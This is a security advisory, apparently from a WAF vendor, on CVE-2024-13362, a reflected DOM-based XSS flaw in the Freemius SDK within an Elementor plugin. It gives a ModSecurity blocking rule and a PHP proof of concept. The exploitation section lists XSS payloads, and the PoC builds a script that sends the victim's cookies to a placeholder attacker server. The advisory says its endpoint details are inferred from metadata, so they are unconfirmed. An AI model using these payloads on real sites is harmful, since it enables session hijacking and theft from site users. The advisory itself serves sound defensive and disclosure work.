Atomic Edge analysis of CVE-2024-13362 (metadata-based):
This vulnerability is a reflected DOM-based cross-site scripting (XSS) issue in the Freemius SDK, affecting multiple WordPress plugins and themes, including the Unlimited Elements for Elementor plugin (slug: unlimited-elements-for-elementor) up to version 1.5.140. The flaw resides in the url parameter handling, allowing unauthenticated attackers to inject arbitrary JavaScript that executes in the context of a victim’s browser session. The CVSS score of 6.1 (Medium) reflects the need for user interaction but the low privilege requirement and potential for data theft.
Root Cause: Based on the CWE-79 classification and the description, the vulnerability stems from insufficient input sanitization and output escaping of the url parameter within the Freemius SDK. This is a classic reflected XSS pattern where the plugin passes attacker-controlled input into a JavaScript context (e.g., via a DOM manipulation API like innerHTML or document.write) without proper encoding. Atomic Edge analysis infers this because the description specifically mentions ‘DOM-based’ and ‘url parameter,’ suggesting the vulnerable code likely reads the url from a query string and injects it into the page’s Document Object Model (DOM) without sanitization. No code diff is available for confirmation, but this pattern is well-documented in similar Freemius SDK vulnerabilities.
Exploitation: An attacker can craft a malicious URL that includes a JavaScript payload in the url parameter, such as /?url=javascript:alert(1) or /?url=%22%3E%3Cscript%3Ealert(1)%3C/script%3E. The victim must be tricked into clicking this link, which causes the payload to execute in the context of the WordPress site. Since the vulnerability is reflected and DOM-based, the attacker may also leverage it to steal cookies, session tokens, or perform actions on behalf of the victim via the Freemius SDK’s integration (e.g., triggering a deactivation or account action). The attack vector is network-based with low complexity, and no authentication is required.
Remediation: The patched version (1.5.141) likely implements proper output escaping or input sanitization for the url parameter before passing it to JavaScript. The fix should encode or validate the URL against a whitelist of allowed schemes (e.g., https://) and escape any characters that have special meaning in HTML or JavaScript contexts. Developers should use functions like esc_url() or esc_js() in WordPress, and avoid directly injecting user input into innerHTML or similar DOM APIs without sanitization.
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the victim’s browser. This can lead to session hijacking, defacement, redirection to malicious sites, or execution of unintended actions on the WordPress site. For a plugin like Unlimited Elements for Elementor, the attack could potentially trigger destructive actions like account deletion or plugin deactivation if the Freemius SDK is used to handle such requests.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Block reflected DOM-based XSS via url parameter in Freemius SDK endpoints
# This rule surgically blocks malicious JavaScript payloads in the 'url' parameter
# when the request targets Freemius-related pages or the plugin's admin screens.
# The pattern matches common XSS payloads like <script>, onerror=, or javascript:.
SecRule REQUEST_URI "@rx /wp-admin/admin.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Reflected XSS via url parameter in Freemius SDK',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_GET:url "@rx (?:<script|javascript:|onerror=|onload=|alert()"
"t:none,t:urlDecodeUni,t:lowercase"
# Also block attempts targeting the Freemius connect page
SecRule REQUEST_URI "@contains freemius"
"id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Reflected XSS via url parameter in Freemius SDK',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS:url "@rx (?:<script|javascript:|onerror=|onload=|alert()"
"t:none,t:urlDecodeUni,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
/**
* This PoC demonstrates a reflected DOM-based XSS attack via the url parameter.
* The payload is injected into the request and executed when the victim clicks the crafted link.
* Assumption: The vulnerable WordPress site has the Unlimited Elements for Elementor plugin (or another plugin using Freemius SDK) installed with a vulnerable version.
*/
// Target URL of the WordPress site (modify as needed)
$target_url = 'http://example.com';
// The vulnerable endpoint: Most Freemius SDK vulnerabilities occur via a callback or SDK integration.
// Since the exact path is not confirmed, we target a common pattern: the SDK's 'connect' or 'deactivate' screen.
// The 'url' parameter is typically passed in query string to a page that uses Freemius JS SDK.
// This example uses a generic WordPress page that may load the SDK.
$vuln_endpoint = '/wp-admin/admin.php?page=freemius-connect'; // Example based on Freemius patterns
// Malicious payload: A script that steals the document cookie
$payload = '"><script>document.location="http://attacker-controlled-server/steal.php?cookie="+document.cookie</script>';
// Construct the full URL with the payload in the 'url' parameter
$malicious_url = $target_url . $vuln_endpoint . '&url=' . urlencode($payload);
echo "[+] Sending crafted link to victim...n";
echo "[+] Malicious URL: $malicious_urln";
// Example: Send the URL via a simulated click (in a real attack, the attacker would send this link to the victim)
// For demonstration, we just output the URL and explain the expected behavior.
// To simulate the request (uncomment to test):
/*
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
*/
echo "[+] PoC complete. The victim would need to click the crafted link for the XSS to trigger.n";
echo "[+] Note: This is a metadata-based PoC. The exact endpoint may vary based on the vulnerable plugin/theme.n";
